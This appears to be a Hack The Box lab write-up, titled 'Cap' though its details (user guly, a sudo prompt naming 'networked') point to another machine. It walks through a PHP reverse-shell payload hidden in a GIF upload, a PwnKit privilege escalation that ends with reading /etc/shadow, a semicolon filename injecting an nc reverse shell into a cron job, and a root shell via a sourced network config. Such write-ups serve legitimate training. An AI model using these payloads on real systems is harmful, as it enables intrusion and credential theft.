6 minute read

There are spoilers below for the Hack The Box box named Cap. Stop reading here if you do not want spoilers!!!


This began with an nmap scan

$ nmap -sC -sV
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-30 14:50 EDT
Nmap scan report for
Host is up (0.69s latency).
Not shown: 806 filtered tcp ports (no-response), 191 filtered tcp ports (host-unreach)
22/tcp  open   ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
|   256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_  256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp  open   http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
443/tcp closed https

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 218.17 seconds

From these ports, the only really interesting one is 80. We also have a bit of info, the machine is running CentOS and PHP 5.4.16.

Port 80

Beginning with a gobuster scan:

$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -u -x php
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:           
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Timeout:                 10s
2022/06/30 14:59:20 Starting gobuster in directory enumeration mode
/index.php            (Status: 200) [Size: 229]
/lib.php              (Status: 200) [Size: 0]  
/uploads              (Status: 301) [Size: 236] [-->]
/backup               (Status: 301) [Size: 235] [-->] 
/upload.php           (Status: 200) [Size: 169]                                   
/photos.php           (Status: 200) [Size: 5980]                                  
/.                    (Status: 200) [Size: 229]

The scan lists a few interesting files, it looks like there’s an upload.php that may be of interest to us. Additionally, there’s a backup directory. Taking a look at the backup directory, I can see backup.tar listed there, which is the source code of the PHP files!

Looking through the PHP files, it looks like upload.php will receive input from the user as an uploaded file then validate that it’s a valid file with check_file_type

if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
  echo '<pre>Invalid image file.</pre>';

The check_file_type function will obtain the MIME of the file and check if it contains image/.

function check_file_type($file) {
  $mime_type = file_mime_type($file);
  if (strpos($mime_type, 'image/') === 0) {
      return true;
  } else {
      return false;

Next, once the file validates the MIME type, it next checks the file extension:

list ($foo,$ext) = getnameUpload($myFile["name"]);
$validext = array('.jpg', '.png', '.gif', '.jpeg');
$valid = false;
foreach ($validext as $vext) {
  if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
    $valid = true;

So the uploaded file must have one of the image extensions and a valid MIME type.

From here, I spent a lot of time trying to bypass the file extension check to upload an image with a .php extension. I tried many things such as using jhead to modify a JPG file and inserting a NULL byte into the uploaded filename (e.g. shell.php\x00.jpg). But I was unable to bypass this file extension filter. After a while of trying on this “easy” box, I finally gave up and look at the ippsec video where he went over the box and he simply uploaded it WITH the image extension, and the webserver still executed it as PHP code. Why didn’t I think of trying to see if the image executed as PHP??

Next, crafting the payload PHP script:

$ echo -n "GIF8;" > payload.php.gif
$ msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT=8080 >> payload.php.gif
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 1111 bytes

The above creates a file with the GIF magic number (GIF8;), and appends a PHP payload on to the image with a reverse meterpreter payload.

Next, we must set up a listener to catch the callback when we receive it.

$ msfconsole -q -x "use exploit/multi/handler; set payload php/meterpreter/reverse_tcp; set lhost; set lport 8080; run"
[*] Using configured payload generic/shell_reverse_tcp
payload => php/meterpreter/reverse_tcp
lhost =>
lport => 8080
[*] Started reverse TCP handler on 
[*] Sending stage (39927 bytes) to
[*] Meterpreter session 1 opened ( -> at 2022-06-30 14:26:53 -0400

Finally, uploading the payload.php.gif and then accessing it via the web browser was able to callback to our listener and give us an interactive shell.

Privesc - User


Privesc - Root

I’m not certain if this is the intended way to obtain root, but when I ran linpeas, it reported that this machine is vulnerable to CVE-2021-4034. That exploit has a POC posted on github, however that POC requires compiling with gcc and we do not have gcc on the target machine. That did not pose a problem though, on my local machine I downloaded the POC and compiled it, it does internally use GCC again, so I compiled two versions of it.

$ wget https://raw.githubusercontent.com/arthepsy/CVE-2021-4034/main/cve-2021-4034-poc.c
$ gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
$ sed -i 's:execve:// execve:g' cve-2021-4034-poc.c
$ gcc cve-2021-4034-poc.c -o cve-2021-4034-poc-setup
$ ./cve-2021-4034-poc-setup
$ tar cf - pwnkit | gzip -9 > pwnkit.tgz
$ sudo python3 -m http.server 80

Now, back in our shell:

meterpreter > shell
cd /tmp
curl -O pwnkit.tgz
tar xf pwnkit.tgz
curl -O cve-2021-4034-poc
chmod +x cve-*
cat /home/g*/user.txt
cat /root/root.txt
cat /etc/shadow

And that’s it, we’re now root.

Proper Privesc - User

This is the correct/expected way to become root before more vulnerabilites were discovered after this machine was released.

From the apache access, we will discover a script in /home/guly labled check_attack.php and a file named crontab.guly which implies that the check_attack.php script is executed once every 3 minutes. Looking at the script, we can see that it loops over all files in the directory /var/www/html/uploads/ and if the file is invalid, it will consider it an “attack”, which attempts to remove it with the following line:

exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");

This simply take the filename (as $value) and passes that on to exec. The vulnerability here is that we can control the filenames, so if we create a filename that can be injected into this script, it will execute it.

To exploit this, we will create a file that begins with a ; character, which is a command delimiter. Thus the first command will execute (and fail due to the file not existing) and the next command will then execute, in this case it’s our nc command to send a reverse shell.

$ cd /var/www/html/uploads
$ touch ';nc -c bash 8081;'

We are then able to catch the reverse shell:

$ nc -lvnp 8081
listening on [any] 8081 ...
connect to [] from (UNKNOWN) [] 38476

Proper Privesc - Root

As the user, we can see that we’re able to execute a script with sudo

$ sudo -l
User guly may run the following commands on networked:
    (root) NOPASSWD: /usr/local/sbin/changename.sh

Taking a look at that script, it writes into a network file named /etc/sysconfig/network-scripts/ifcfg-guly, then attempts to start it. There is a vulnerability in the way RHEL (and thus CentOS) handles this where it will simply source the file as root. When you source the file, you execute everything in the file, see here for a description of this. Thus, the way to exploit this is to insert a command into the script that sends a reverse shell back to us as root.

There is a regex match preventing some special characters from being used, most notibly the . character can’t be used. To bypass this, I created a script that may be executed, then call the script from the file.

$ cat << EOF > /tmp/shell
> /usr/bin/nc -c 8081
$ chmod a+x /tmp/shell
$ sudo /usr/local/sbin/changename.sh
interface NAME:
/bin/bash /tmp/shell
interface PROXY_METHOD:
interface BROWSER_ONLY:
interface BOOTPROTO:

Then set up a listener for the callback.

$ nc -lnvp 8081                                       
listening on [any] 8081 ...
connect to [] from (UNKNOWN) [] 43700